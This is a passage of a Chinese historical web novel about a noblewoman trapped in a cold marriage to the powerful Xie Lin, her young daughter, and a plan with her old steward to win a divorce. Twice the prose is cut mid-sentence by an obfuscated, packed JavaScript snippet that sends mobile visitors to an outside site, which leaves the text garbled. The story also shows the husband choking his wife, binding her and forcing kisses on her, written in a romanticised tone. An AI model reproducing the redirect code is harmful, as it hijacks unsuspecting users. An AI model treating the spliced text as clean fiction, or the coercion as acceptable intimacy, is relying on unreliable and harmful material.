一路上,谢幼训都在叽叽喳喳地说话。 大概是这个年纪的孩子天生便有使不完的生命力和倾诉欲,什么小事,谢幼训都要高高兴兴地说给两人听一遍。 原本沉默的氛围,尽然算得上和谐。 谢凛抱着谢幼训,一路将王令淑送到主院,才拍拍谢幼训的脑袋,说:“太晚了,今夜宿在你阿母处。” “那阿父呢?” 谢幼训歪起脑袋,双眸明亮。 谢凛没说话。 玉盏急急忙忙上前,为谢幼训整衣,轻声道:“郎主天不亮就得起来上朝,所以……” “我今夜也宿在这里。” 谢凛打断了玉盏的话,似笑非笑看向王令淑。 不只是谢凛,整座院子里的视线,都悄无声息地落在了王令淑的身上。 两人分居已久,这在谢家不是秘密。 至于分居的缘由,现在谢家的大部分仆人都不清楚,却能看得出来,此事不愿意的人是王令淑。否则,谢凛何必将主院让给她,甚至逼着不愿意管事的王令淑掌家。 王令淑心头又生出烦闷。 她想起白日里珩郎话里话外的暗示与恳求。 她看着满心期待等着生辰一起出去看马赛的岁岁。 “准备被褥。” 她还是出声。 这些傀儡线、没顶池塘一样的视线,骤然潮水般消失,只剩下王令淑仍有些迟钝地站在原地。她对上谢凛黑沉沉的眼眸,疲惫地转过身去。 仆婢们迅速开始张罗准备。 沐浴过后,谢幼训还精神着,非要和王令淑一起翻花绳。 谢凛开口要训她。 “你先去睡吧。”王令淑先一步开口,语调是少有的温和,垂首微笑看着身侧的岁岁,“我把岁岁哄睡了,便回去。” 谢凛没有应她。 王令淑等了许久,只身侧的光线骤然被挡住了不少,原来谢凛已然坐在了不远处。 架子上放着些杂书,他顺手抽了一本。 听着纸页被翻动的声音,王令淑也懒得管他,自顾自和谢幼训翻花绳。她年少时贪玩,什么抓子儿、斗草斗花、簸钱、翻花绳百无禁忌,什么都玩出了自己的一番心得。 落在谢幼训眼里,实在很了不得。 没一会儿,谢幼训就被哄得只顾给她喝彩,一味求王令淑教自己。 王令淑看了眼更漏。 “你现在乖乖去睡觉,明日我教你。” “阿母骗人,明日夫子便不给我放假了,哪能来见阿母?” 小小的人儿,很不好哄。 “那等你过生辰,我不但教你翻花绳,还教你抓子儿。”王令淑哄着她,忍不住伸手捏了捏她软软的脸颊,笑出了声,“怎么,阿母也信不过?” 谢幼训眼珠骨碌骨碌转。 她扭过身去,抓住谢凛的衣袖,告状道:“阿父帮我!” 谢凛放下手里的书。 王令淑和他视线对上,面上的笑无声消散,气氛有些冷。 谢幼训仿佛是察觉到了。 她松开了手,端坐回去,小声说:“那……那岁岁去睡觉。” “阿父帮你。”谢凛收了书本,走过来坐在王令淑身侧,垂眼看了她手里的花绳片刻,轻笑着看谢幼训,“这有什么不会的,看着。” 青年常年握笔执卷的手指修长匀称,随意挑起朱红的丝线,翻了过去。 顷刻间,便是新的花样。 “哇!” 谢幼训大为惊喜。 王令淑则是看着他手里的花绳,微微出神。 这不是大家常玩的几个花样,翻起来也复杂很多,是她从前自己琢磨出来的翻法。因为复杂又好看,许多人让她教,但教了几遍,也没人能记住。 谢凛怎么会这个? 难道他还和自己想到一块去了?这念头甫一出来,王令淑心中便下意识冷笑了声,除了权势还能有什么能入谢凛这人的眼。 巧合罢了。 谢凛收了花绳,说道:“去睡,别吵你阿母。” 谢幼训有点不满,却没敢顶嘴。 “阿母。”她扑进了王令淑怀里,撒娇抱着她,“我还不困。而且我想陪着阿母,我不想一个人去睡觉……” 话是这么说,却打了个呵欠。 王令淑看她确实快睡了,便让她枕在自己怀中,应了好,轻轻拍着哄她入睡。 小孩睡眠好,没一会儿便睡着了。 玉盏上前,将谢幼训抱去安睡,走时其余仆婢也悄声退下。 夜色深深,烛火明灭。 王令淑取下披在肩头的褶衣,自顾自进了内间,吹熄蜡烛躺下。因为她怕冷的缘故,被褥用的是最厚的,压在身上倒有几分说不出的安全感。 今日一趟,她躺下才后知后觉到疲倦。 困意涌来,王令淑入睡得比她以为的要快了许多。 不知道过了多久。 身侧的被褥塌陷下去,王令淑骤然从梦中惊醒片刻,她不知不觉陷入半梦半醒中。梦中似乎有冰冷的毒蛇缠绕着她,寸寸逼近,而她不得动弹。 王令淑挣扎,哭叫。 可无论如何,她只能滑向绝望。 这场梦做得惊悸不已。 王令淑彻底惊醒时,天已然大亮,明亮的阳光刺得她太阳穴闷闷地疼,双眼也觉得难受。 她抬手遮住眼睛,低声问:“几时了?” “刚过巳初。”顿了顿,玉盏补充说,“郎主叮嘱,别叫醒夫人。” 王令淑躺着想了一想。 她坐起身,说道:“给我梳妆。还有,给傅忱递一个信,让他来见我。” 玉盏露出笑容:“傅管事一大早便到了。” “一大早?” 王令淑忍不住惊异。 难道昨夜,谢凛便传信给了傅忱,傅忱当即赶了一夜路来这里?但他如今既然管了这么多事,便是当夜收到消息,只怕也不能立刻动身。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15583806|171633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >还是说,傅忱早就打算出发了? 但多思无用,王令淑说道:“好,让他来见我。” 玉盏应是,下去吩咐了。 两人多年未见,王令淑梳妆完毕去见他,竟有些近乡情怯的感觉。 远远的,她便瞧见一道修长的人影。 王令淑脚步不由慢下来,人还是那个熟悉的人,并未变得陌生起来。她又想起少女时,与傅忱在庄子里钓鱼、摘莲蓬,那时候真希望每年的夏天都要再长一点才好。 “阿俏……”傅忱已经转过身来,瞧见她的模样,笑容淡了一些,行礼时改口称呼,“夫人。” 王令淑微微顿住。 她顿时察觉,已然入秋许久了。 傅忱站在银杏树下,身后金黄一片,落叶纷纷。 “好久不见。”王令淑还是挤出一个笑容,抬脚走进了,“这些年,你过得还好吗?” “岂能不好?郎主与夫人信任,夫人名下的田产铺子都在我手中经营,多少也混成了个说得上些话的管事。”傅忱也露出客气的笑容,说的话更是滴水不漏,“眼下,郎主与夫人更是将重任交给给我,实在受宠若惊。” 王令淑笑着,眼神却有些难过。 傅忱微微移开视线。 “夫人的意思,我大致知晓。但到底要怎么做,还需要夫人明示,我不敢妄自揣测……” 听了这话,仆婢纷纷不着痕迹看向王令淑。 王令淑点点头,其余人纷纷退下。 一时间,四周空旷下来。 “阿俏。” 傅忱已然收了那副客套疏离的神情,眸光复杂,似乎想要说些什么。王令淑见他这样,更是觉得有些说不出的难受,甚至想躲开他的视线。 “不是才叫夫人吗?” 傅忱笑了笑,说道:“这些年,谢凛都不让我来谢家。” 王令淑对此并不意外。 她身边的人,全都被他打发走了。 刚开始的时候,王令淑自然不答应,用尽了手段和他反着来,势必要将自己的人护住……可后来,实在是没办法,她永远没有谢凛那么狠的心肠和手腕。 “对不起,我……” 傅忱打断她:“这么些年,还没见过你冲谁道过歉。” 往日的王令淑出身贵重、性情骄矜,何曾会向别人低头道歉。可眼前的王夫人,眉宇间早已不见了当年的神采,倒像是纸糊成的人。 哪怕衣着华贵、装扮精致,也能看出她过得很不好。 谢凛待她不好。 “阿俏。”多年未见,谢忱心中有许多话想要和王令淑说,但张开口,却又只能说出寥寥数语,“你且耐心,等一等我。” 王令淑双眸空茫地看着他。 谢忱压低了语调,迅速道:“这些年,我虽然见不到你,却已然暗中将被谢凛控制的田庄铺子的人手换作了自己的人。再过一些日子,谢家未必不能穿插进我们自己的人,到时候递外头的消息给你便不是难事……” 终于,王令淑回过神来,眸色有些惊异。 见她如此,傅忱松了口气。 “至于我此去王家,更是一件好事。”他瞧着眼前的王令淑,语气更带了几分情绪,“只要王氏重归当年光彩,又有王珩为你撑腰,与谢凛和离便不再是难事!” 王令淑交叠身前的手,微微收拢。 “纵然不能立刻和离,届时找借口,将你迁出去住或是回王家修养,更不是难事。” “至于女公子,随着母亲住也是尽孝的常理。” 这些话,像是惊涛骇浪般扑向王令淑。 她一时之间还没咂摸出惊喜,只觉得头晕目眩,胸中仿佛有什么翻腾了起来。 喉间又在隐隐发痒,腥甜发涩。 “这些并非一日之功,定然要你耐心下来,与我里应外合。”傅忱看向王令淑枯瘦的面容,视线艰涩扫过她鬓间银丝,语气竟带了几分隐隐的哀求,“阿俏,你定然要待自己好些,万不可自己为难自己。” 王令淑觉得对方在看自己。 她心头浮现一些近似羞耻不堪的情绪,想要躲开。 但很快,傅忱便移开了视线。 “到那时,我再带你去庄子上常住。”他神情有了年轻时的疏懒,语气轻松,“我庄子里的池塘里放了尾锦鲤,眼下已然长得有半只胳膊那么长,却贪吃的很,一钓便上钩。” 王令淑想起当年,自己钓不上来鱼冲他发脾气,不由轻笑了一下。 她的心头顿时有清风吹拂而过,吹散了那缕常年凝结的郁气。 两人坐在一处,说了不少话。 有些是过去的趣事,有些是要在王氏做什么。两人本就一块在谢家长大,虽然一主一仆,但关系极好,眼下又有了一样的目标,说起话来格外热闹。 一直到午后,玉盏才进来提醒。 送走傅忱,王令淑坐在花厅里看着窗外一树桂花。 “我想去白云寺,给岁岁点一盏长明灯。” 王令淑忽然说。 王家祖父这一支的孩子,几乎个个早夭。她的父辈,再到同辈的兄姊,乃至于兄姊们所生的孩子,都命数短暂,活下来的没几个。 王令淑想看着谢幼训平平安安地长大,岁岁平安,长命百岁。 她面上浮出淡淡的笑意。 玉盏看着,不由道:“那奴也给夫人点一盏,祝夫人此后无病无灾,长命百岁。” 9. 双生 王令淑似乎想笑,没笑出来。 她坐在花厅窗下,风吹得细细的桂子落了她满身,香气馥郁。玉盏犹豫了会,才小声说:“但今日没有通传给郎主,只怕出不去,明日再去吧?” “好。” 王令淑答得随意。 见她如此,玉盏不由松了口气。 “眼下虽入秋了,园中风景却还不错。”玉盏有心让王令淑多逛逛,“前些日子送来了一对孔雀,养在西边,瞧着就稀奇。” 王令淑似乎没什么太大的兴趣。 玉盏说:“奴婢还从没见过活的孔雀呢,听说孔雀尾巴极好看。” “走吧。” 得了王令淑的话,玉盏喜上眉梢。 她连忙上前,扶王令淑起来。 谢家的院子,其实没怎么修葺过,和多年前没太大的分别。只是如今谢凛身居高位,手握权柄,院中免不了添了不少人不少物。 花团锦簇,热热闹闹。 王令淑走马观花地看过去,仍觉得陌生。 西边果然养着两只孔雀,翎羽斑斓,色彩鲜亮。原是有不少仆婢在这里瞧着,见王令淑来了,纷纷低下头远去了,不敢惊扰夫人。 玉盏则悄悄打量王令淑的脸色。 果然,王令淑瞧着孔雀,空洞的眸子多了一丝情绪。 “听外头说,这一对孔雀是孔雀里的王和王后呢,所以格外特别好看些。”玉盏声音低了些,不着痕迹说,“原本是要送到夫人院中去,但长途颠簸下来,孔雀精神还不大好,预备调教好了再送过去。夫人若是喜欢,日后在院中日日都能看着,也便宜得很。” 王令淑轻咳了两声。 她移开视线,扫视四周环境。 刚嫁进谢家时,她和谢凛当然住不了现下的主屋。那时候,她和谢凛的住处,便是西边的这处旧院子。 房屋不知道多少年没有修葺过,处处都是小毛病,住着也难受。谢凛大概是察觉出来她住不惯,也或许是他早就不满这些了,找了族中长辈预备改一改。 当然没成功。 不但如此,还被羞辱了一番。 大抵意思便是,说他仗着取了王氏宗支的女儿,便想在家中作威作福。这些话没有挑明了说,但话里话外,都在暗指谢凛仗着裙带关系,何其不知羞耻。 饶是王令淑性子直,也只能收敛着,佯装不知道。 若她替谢凛出头,反倒真落人口实。 越是如此,王令淑越气。 反倒是谢凛,倒像是个没事人,充耳不闻的模样。 改不了屋中布置,他便自己动手,挽起袖子,将能改的地方修了。王令淑不会这些,她跟在谢凛身后,给他干些力所能及的散碎活儿。 谢凛做事专注,王令淑嘴却闲不下来。 “这株杏花瞧着便有几十上百年,等开花的时候,印着苔痕斑驳的墙壁肯定入画。这树枝也斜得好,等闲人家还真养不出这样古朴的花树。” “还有这棵矮松,底下养对孔雀最合宜。” “以前我祖父在的时候,院子里就养了对孔雀,可惜后来老死了,我也好多年没瞧见翎羽那么鲜亮的孔雀……” 她话多,谢凛也没回几句。 当然,王令淑也是随便说说,她只是怕他心里难受。 这么多年了。 杏花树仍在,矮松也在。 松树下确实也添了一对翎羽鲜亮的孔雀。 王令淑的心口哽得难受。 “有什么好东西,郎主都想着送到夫人院里。”玉盏看着孔雀,忍不住话多起来,“夫人便是……也该多为女郎想一想,今早女郎去上学,比平日里都要高兴些呢!” 王令淑没怎么听她说了什么。 她觉得自己如今,仿佛格外喜欢回忆往事。 王令淑不愿多想。 此时门外蹦蹦跳跳走来两个小童,见了王令淑,也不闪不避。他们兜着几个梨子林檎,随便擦一擦,便送到孔雀的口边去。 一双孔雀对他们竟还算熟悉,当真啄食了起来。 玉盏慌忙道:“你们来这里做什么?” 小童不理会玉盏。 王令淑已然看了过去,视线落在两人身上。 这对小童模样生得好,眉眼隽秀,神清骨秀。王令淑瞧着他们的面貌,立刻便猜出了他们的身份,是蕊娘嘴里的珠郎玉郎。 倒真是如珠似玉的一对玉雕人。 眉眼隐隐与谢凛相似。 比起小小的谢幼训,这两个孩子明显是大了一轮,身子骨也比胎里不足的谢幼训结实。王令淑看着这对双生子,没由来有些难受,她移开了视线。 “我们走吧。” 玉盏惊异看向王令淑。 王令淑并不是个性格软和、任由别人放肆的人。 “谁让你们来这里?”玉盏收了一贯的温柔语气,抬手去推两人,“没瞧见夫人在这里吗?混账东西,若是冲撞了夫人,回头没有好果子给你们吃!” “让开!” “贱婢!” 双生子甩开玉盏,拿手里的梨砸王令淑,没砸中。 王令淑仍静静瞧着二人。 确实是像的,谢家的美人尖、略凌厉工整的眉眼,都与谢凛相似。比起还没长开的岁岁,这对双生子,反倒是更像是谢凛的孩子。 蕊娘说两人八岁,看起来也没有说谎。 王令淑止不住犯恶心。 原来她满怀真心,初初嫁给谢凛,满心以为是新婚燕尔。 他却早已与蕊娘有了骨血。 那时候的她,在谢凛眼里是何等自作多情?她那些安慰他的话,他听在耳朵里,大概也觉得好笑吧?她自以为要与他好好过日子,可在他们眼里…… 她才是那个拆分他们一家四口的恶人。 这么多年,谢凛厌她。 蕊娘怨她,这对双生子眼底也满是仇恨。 王令淑张了张口。 她发不出声音,双生子撞翻玉盏,冲过来狠狠将她推开。 王令淑在病中,直接被撞得趔趄,整个人磕在假山上。她眼前一阵黑一阵白,身体失去重心,想要扶住假山,但是天旋地转中找不到方向。 “……都是你!欺负我们阿母!” “贱人……” “……” 王令淑眼前看不清,身体痉挛,止不住干呕。 恶心,很犯恶心。 后面的事情,王令淑记不太清了。 等她再缓过神来,已经是在自己的房中,空气中漂浮着熏香气味。玉盏不知道去了哪里,屋内静悄悄的,只有风吹得窗纸轻轻作响。 她喉间灼烧过一般疼。 王令淑掀开被褥,起身下床,想要给自己倒一杯水。 然而她的手实在没有力气。 茶壶脱手,摔了个粉碎,她自己也跌坐到了地上。茶水将她的单衣打湿,王令淑趺坐着,懒得收拾这些,视线落在墙上挂着的杏花图上。 不知道是谢凛什么时候让人挂上的。 苔痕长在倾颓的墙上,墨绿色冷冷清清,偏偏墙外的杏花开得格外热闹。画上提着诗词,用笔不俗,应当是个名家,否则难以与此画作配。 王令淑忍不住低低笑起来。 一时间,她竟然不知道是谢凛可笑,还是自己更可笑。 门被推开。 烛光在地上拖出浓长的阴影,谢凛朝着她走来,带来夜露的寒气。男人今日倒是难得温和,没有和她废话,只是弯腰来抱她起来。 王令淑被他冷得一哆嗦。 “放开。” 谢凛没放。 王令淑说道:“我今日见到了珠郎玉郎。” 谢凛步履微顿。 “已经罚过了。”他似乎不打算多谈这事,径直将王令淑放在床上,弯腰摩挲她的侧脸,语气近乎温柔,“听说你看了孔雀,很喜欢?” 王令淑:“不喜欢。” “我让人挪了过来。”谢凛取了外衣披在她肩头,坐在她身侧,“就在窗下,不出门便能看。” “……” 王令淑觉得烦躁。 她干脆不说话。 然而谢凛坐在她身侧,拨亮了灯花,看起书来。 王令淑本来只想静坐一会,有他在,觉得周身难受。她站起身来,吹灭了油灯,将剪灯花的金剪刀握在手里,淡声道:“出去。” 谢凛在黑暗里合了书。 握着剪刀的手腕被人攥住,虎口旧伤被扯得疼。 王令淑的手忍不住发颤。 “松手。” 王令淑不吭声。 不知道过了多久,她才松开手。 脖颈被人捏住,王令淑都来不及反应,便被谢凛拽进帷帐。她右手疼得止不住轻颤,浑身渗出一层粘腻的冷汗,几乎没有力气挣扎。 帷帐低垂,将仅剩的月光也隔绝。 王令淑的后脑砸在了玉枕上,脖颈被攥得快要断掉,只能竭力扬起头才能得以喘息。黑暗中,谢凛的视线居高临下,无声凝视着她。 他一句话也不说,就这么按着她。 “……松……咳咳……” 快要喘不过来气,王令淑本能剧烈挣扎,想把他踹下去。 谢凛松了手,改而攥她的肩膀。 王令淑大口大口喘息,生理性的泪水横流。她缓了片刻,翻过身,抬手给了他一巴掌。 谢凛没有挡。 这一声格外清脆。 王令淑的眼睛适应了黑暗,隐约能看见近在咫尺的谢凛,对方沉着脸,没什么太明显的情绪。记忆里,认识谢凛这么些年,他总是这副模样。 滴水不漏,却轻易逼得别人发疯。 ……她从前真是蠢到了极致,瞧见他如此,总忍不住多心疼他几分。 王令淑又想起那对孔雀,那对双生子。 她爬起来,抓起玉枕要砸谢凛。 当然没有得逞,谢凛随手推开华贵的玉枕,摔了满地。他反剪着将王令淑抱入怀中,拽下帐幔,这才慢条斯理地绑她的手足。 谢凛的头发被她扯散,垂落满床。 阴晦的光线下,更衬得他面容阴翳,宛如偷了好皮囊的恶鬼。 王令淑浑身发寒。 “冷?” 谢凛仍是温和克制的语调,好似寻常夫妻般,拖来被褥盖住王令淑的身体。做完这些,他又耐心捋平帷帐褶皱,工整地绑王令淑的手腕。 王令淑挣扎不开,只觉得羞辱。 她侧身离他远些。 谢凛像是早知道了她想些什么,轻而易举被他按了回去,几乎贴在他怀中。他绑好了这些,手掌顺着她的脊背下滑,扶着她的腰搂入怀中。 王令淑被制得死死,不能动 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15596801|171633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 弹。 他微微低头,乌黑的发丝滑入王令淑的领口,摩擦得肌肤生痒。 王令淑要挣扎,他的手轻而易举落在敏感的位置,令她像是被捏住了后颈皮的猫一般僵住。谢凛没有再多余的动作,脸颊贴在她的鬓角,一下一下抚摸她的后腰。 “阿俏,听话。” “你若不想死,就不要总想着杀我。” “记着你说的,生同衾死同穴。” 王令淑闭了闭眼。 谢凛微微侧过脸,亲吻她的泪水,辗转暧昧往下。最终落在她的唇瓣上,王令淑挣扎起来,却被他攥住了肩膀,逼着要她配合。 呼吸变得灼热,王令淑有些喘不过来气。 可她浑身被绑成了粽子,根本没法躲开,被他拽着将亲吻继续下去,纠缠得唇瓣发麻。 没多久,王令淑便彻底没了力气。 谢凛终于松开她。 男人惯来冰冷的肌肤滚烫,贴得王令淑有些灼痛,她侧过身要躲开。谢凛却将她死死扣入怀中,温热的体温渗入肌理,令王令淑也冒出一层薄汗。 她有气无力地任由他抱着。 谢凛在黑暗中看了她许久,指腹碾过她红肿的唇瓣,才重新抱起她。 他将她放在床内,摆好。 自己则褪去外衣,躺在她身侧,为两人盖好被褥。 王令淑才醒,没有睡意。 谢凛一只手放在她腰上,凑到她耳边,嗓音有些低哑:“闭眼。” 谢凛的气息和呼吸笼罩着她,王令淑只觉得脊背发麻,她挣扎了一下,最终还是闭上了眼。对方的视线似乎仍落在她身上,不知道多久,才渐渐消散。 闭上眼,王令淑感到后知后觉的疲倦。 她睡了过去。 第二日下了雨。 没有了帷帐挡光,淅沥的落雨天,仍是朦胧灰暗的。 王令淑做了大半夜噩梦,下雨后,便渐渐睡得安稳了许多。醒来时,听着绵密的雨声,也久违地感觉没那么烦躁。 她身上的帷纱被解开了。 手腕脚踝仍有淡淡的勒痕,但是绑得匀称,痕迹不深。红痕处似乎被涂了药膏,倒也不算难受,只是王令淑看着便觉得烦躁。 “玉盏。” 玉盏这才入内。 她面色有些苍白,见王令淑脸色难看,连忙跪地:“夫人。” 王令淑:“往后谢凛来,提前通传。” “……是。” 她坐在书案前,自己给自己磨了墨,抬手起笔。思绪虽然像是生了锈,一句话一遍措辞不出来,她便在脑海中多措辞几遍,最终凝出一句准确的句子。 王令淑这样一句一句地写。 不知道过了多久,她写出了一份和离书。 和离书晾干,王令淑将短短的句子多读了几遍,方觉得心头好一些。兀自恍惚了片刻,王令淑将和离书折起来,压在了最底下。 王令淑扭头问玉盏:“谢凛打算如何处置那两个孩子?” 到谢凛这个年纪,又迫不及待将蕊娘和双生子接进来,摆明了是要给他们名分。这对孩子若想光明正大地当谢家子,要么纳蕊娘为妾,要么将两个孩子提前记在王令淑名下,回头再把蕊娘纳为妾室。 可惜,这两样王令淑都不会让他如意。 要么他就同她和离,恩怨一笔勾销。 要么,她就占着他正妻的位置,不会让他们一家四口好过。 玉盏脸色变得难看,好似是恐惧到了极点,很是小心:“奴……奴不知。” 王令淑沉下脸。 “他们顶撞了夫人,郎主绝不会宽宥,但到底如何……”玉盏仿佛是下定了决心,小声说,“夫人既然想好好过日子,便不要想太多,睁一只眼闭一只眼便罢了。” 睁一只眼,闭一只眼。 刚和谢凛闹翻时,很多人对她说过这句话。 王令淑试过,但做不到。 她有时候也很羡慕那些冷静克制的人,好似情感是情感,理智是理智。实在不行了,便舍弃掉情感,凭借着理智照旧过得如鱼得水。 偏偏王令淑不是那样的人,把自己锤烂了捏碎了都拼不出那副模样。 王令淑自顾自起身。 “我要去见蕊娘。” 玉盏头磕在地上,拦住她:“郎主下了命令,今日夫人不许出院子。” 王令淑推开门,果然院外守了不少人。 她不管,抬脚就要往外走。裙裾却被人拽住,玉盏膝行过来,似乎是哀求:“夫人,您要做什么,让奴替你去做,您的身子万万淋不得雨了。” “放开!” “您若是病了,女郎生辰谁陪她去看马赛?女郎早就惦记着……” 雨大,王令淑咳嗽出声。 玉盏连忙道:“奴必然替夫人办好。” 王令淑站在门口,看着不远处树下躲雨的一双孔雀,又想起那对孩子。可归根到底,王令淑心中厌恶的,始终还是谢凛。 连她都拿谢凛没办法,玉盏能有什么办法。 王令淑想了想。 她扫视四周,竟然瞧出一些谢凛的痕迹来。短短两日,他便在这里又留下如此多痕迹,看得王令淑想通通都丢出去,丢得远远的。 “把这些,这些。” “全都收拾了,送到蕊娘处去。” “一样不许留。” 10. 传信 玉盏愕然看向她。 王令淑自顾自关上了门,坐在书案前,却是自顾自发呆。 “是。” 两人分居多年,房中多是王令淑自己的东西。谢凛本也没什么贵族奢靡习气,搁在这里的物件,也不过几件外衣和几册子书卷,收拾起来也没有多少。 不多时,玉盏便收拾好了。 她撑了伞,走入雨幕中。 院外守着的诸人,见是玉盏,也没有拦。 许久,才到了蕊娘住处。 蕊娘的住处算是偏僻,院外也守着几个仆婢,屋内静悄悄的。门被锁着,里头的人是出不来的,只是守在门口的婢女见是玉盏,连忙开了锁。 玉盏走进去。 屏风后有什么动了一下,瞧见来的人是玉盏,抬手掀翻了手边的茶壶。 劈了啪啦一阵巨响。 玉盏没有往日在王令淑身边的温柔好说话,居高临下瞧着,语气也是淡淡的:“夫人让我将郎主的物件都收拾出来,送到柳夫人这里。” “……送到我这里?” 玉盏没说话。 蕊娘脸色阴阴晴晴,忍不住冷嗤。 玉盏便道:“柳夫人若再对我们夫人使手段,别怪奴不客气。” “你说这些是我使手段?”蕊娘看向她手里的东西,微微而笑,眸色隐秘。 玉盏冷了脸,抬手将东西放下。 “她已经哄得阿凛关了我的禁闭,现在阖府都在看我笑话还不够?”蕊娘冷笑连连,“珠郎玉郎两个小孩子,又怎么她了?她害得阿凛这样对我的珠郎玉郎,别说我不能做什么,但凡我……” “柳夫人。” 被玉盏打断,蕊娘坐了回去。 她眼中恨恨。 玉盏想了想,说道:“您若还在乎两位郎君的性命,就离夫人远些,少做些小动作。” “否则,别怪郎主不留情面。” 蕊娘漫漫地瞧着玉盏放下的衣物书册,好一会儿,才说:“王令淑都活成这样了,竟然还吃醋?她这般耽于情爱,难怪会落得如此地步,当真是活该。” 玉盏脸上没什么神情。 “柳夫人还是该多担心自己,毕竟没什么比活着重要。” “还有一双郎君,还小。” 蕊娘脸色有些难看,仍是不在意的模样。 玉盏轻笑一声,转身离去。 屋内传来摔砸东西的声音,隔着雨声,渐渐模糊了。玉盏扫视四周,眉间忍不住蹙起,也不知道上回柳蕊娘到底说了些什么,闹成那样。 王令淑厌恶这几人,自然也不会出于嫉妒。 更何况…… 有什么好嫉妒的? 上回的事情发生后,柳蕊娘便被软禁,断掉了一切开销。昨日的事情发生后,两个小郎君也被狠狠责罚,眼下还不知道剩没剩下半条命…… 但这些,她却不能对王令淑说。 …… 王令淑的精神越来越不好了。 她一晃神的功夫,竟然一天又过去了,四周天幕不知道为什么就一片漆黑。婢女无声无息地点亮了蜡烛,布好饭食,请她吃饭。 王令淑觉得自己才吃过。 喉间像是哽着什么,才入口便想呕出。 勉强吃了几口,王令淑放下筷子。 “今日雨大,天气也冷得厉害,我去看看岁岁那是否换了厚被子。” 王令淑刚说完这句话,才想起来,自己眼下不能出门,心头又忍不住烦闷起来。她看着满桌的饭食,觉得越发作呕,便站起身走到窗前。 雨水淋漓,孔雀淋得落汤鸡似的。 灯火倒映着水光。 王令淑一双眼也刺得干疼。 坐也不是,站也不是。 王令淑心头生出无形的惶恐,她又想要出去,哪怕是淋一淋雨也好些。她站在这华贵陈旧的房间内,只觉得自己被关在了笼子里,一辈子都要周身不自由。 如果这样被锁着,还不如死了还好些。 不等玉盏做些什么,她已经推开了房门想出去。 院门口亮着灯笼。 那光亮是暖的,将漆黑的雨幕驱散。 矮小的女童披着蓑衣、戴着斗笠、穿着木屐,像是个不大灵活的胖木偶,咯噔咯噔地踩着水坑往前蹦。手里的灯笼也跟着晃动,明亮的灯光照在水晕里,四周都被点亮。 谢幼训高兴唤:“阿母!” 王令淑如梦初醒。 她快步上前,将淌了半身水的女童抱起来,柔声问:“这么大雨,谁放你来的?” 谢幼训咯咯笑:“今日夫子教作诗,岁岁拿了头名哦!” 蓑衣和斗笠上的水浇了王令淑一身,有些冷,她却将谢幼训抱得更紧了些。大人的步子大,王令淑没几步,便将谢幼训拎进了屋檐下。 雨水泼瓢,跟着谢幼训的仆妇捞起裙子,将水拧干。 王令淑弯下腰。 将谢幼训身上的蓑衣、斗笠拖了,靠在墙上沥水,又摸了摸她领下的肌肤暖不暖。她自己草草抖了抖水,牵着谢幼训进来,唤玉盏生火来。 王令淑剥了谢幼训的外衣,给她套一件冬日夹袄。 又把火盆塞到她跟前。 这样一通忙活下来,王令淑忍不住有些气喘吁吁,发冷的周身竟也渗出一层细汗。她坐在谢幼训身边,什么也不做地瞧着她片刻,没忍不住把人抱入了怀中搂着。 刚跑了这么远的路,又穿得暖和。 谢幼训跟个小火炉似的暖和。 王令淑贴着她,只觉得心口暖洋洋的,十分安宁。谢幼训却不老实,挣扎着要出来,从怀中扯出一张叠得整齐的纸张,献宝似的递给王令淑。 “阿母,看!” “这是什么?莫不是课业拿了垫底,夫子命你拿来给我看?” 谢幼训被逗得气急,说道:“你看嘛!” 王令淑接过来。 果然上头写着一首古体诗,用词虽然简单,意趣却极为不错。若是再长大一些,学起用典对仗平仄来,多半是要惊得众人拍案叫绝的。 她不由微微轻笑。 笑着,眼眶有些湿润:“阿母不就在家里么?怎么还要写诗思念?” 谢幼训有点不好意思,胡乱道:“一日不见如隔三秋呀!” 王令淑测过脸去。 “我今日得了好诗,夫子特意没给我布置课业呢。”谢幼训抱着王令淑的脖子,蹭她的脸,“阿母,岁岁今日也想和阿母一处睡觉。” 王令淑想,自己从前可没这么黏人。 她笑着道:“好。” “我要和阿母睡。”谢幼训高兴得直蹦跶,眼珠骨碌乱转,坏主意出来了,“让玉盏姐姐去传话,让阿父不要来好不好?我要和阿母一起。” 王令淑便对玉盏说:“去传一声。” 玉盏也轻笑了一下。 没有玉盏侯在一侧,屋内安静了一些。听着淅淅沥沥的雨声,王令淑来了兴致,自己抽了一侧诗集摊开,研墨润笔,给谢幼训将如何写诗。 多年前,她于这一途颇有心得。 讲了会儿,反倒兴致越来越好,听得谢幼训满眼崇拜。 讲得差不多了。 王令淑也给谢幼训布置了篇课业。 谢幼训埋头苦写。 帘子忽然被人掀起,走进来的,却是个面生的女婢。婢子借着倒茶的空挡,袖底传来一张薄薄的书信,不着痕迹送入了王令淑手中。 做完这些,悄无声息下去了。 王令淑心口急促跳动。 她借着桌下昏暗的光线,一目十行,将内容看完。果然是傅忱的字,内容很精简,交代他已然到了王家,帮着王珩稳住了王家诸事。 末尾,交待了她一件事。 要她在谢凛书房中,寻到一份账册,可借此治罪谢凛。 王令淑收起信纸。 谢凛站在如今的位置上,有数不尽的人,想要将他拉下来。傅忱能这么快送信进来,这些人只怕也出了不少力气,只是…… 她要这么做吗? “写好啦。”谢幼训抬起低埋的脑袋,有些忐忑,将手里的纸张递给王令淑,“阿母,你看。” 王令淑接过来。 她不由夸道:“写得极好。” 谢幼训一下子翘起尾巴,洋洋得意。 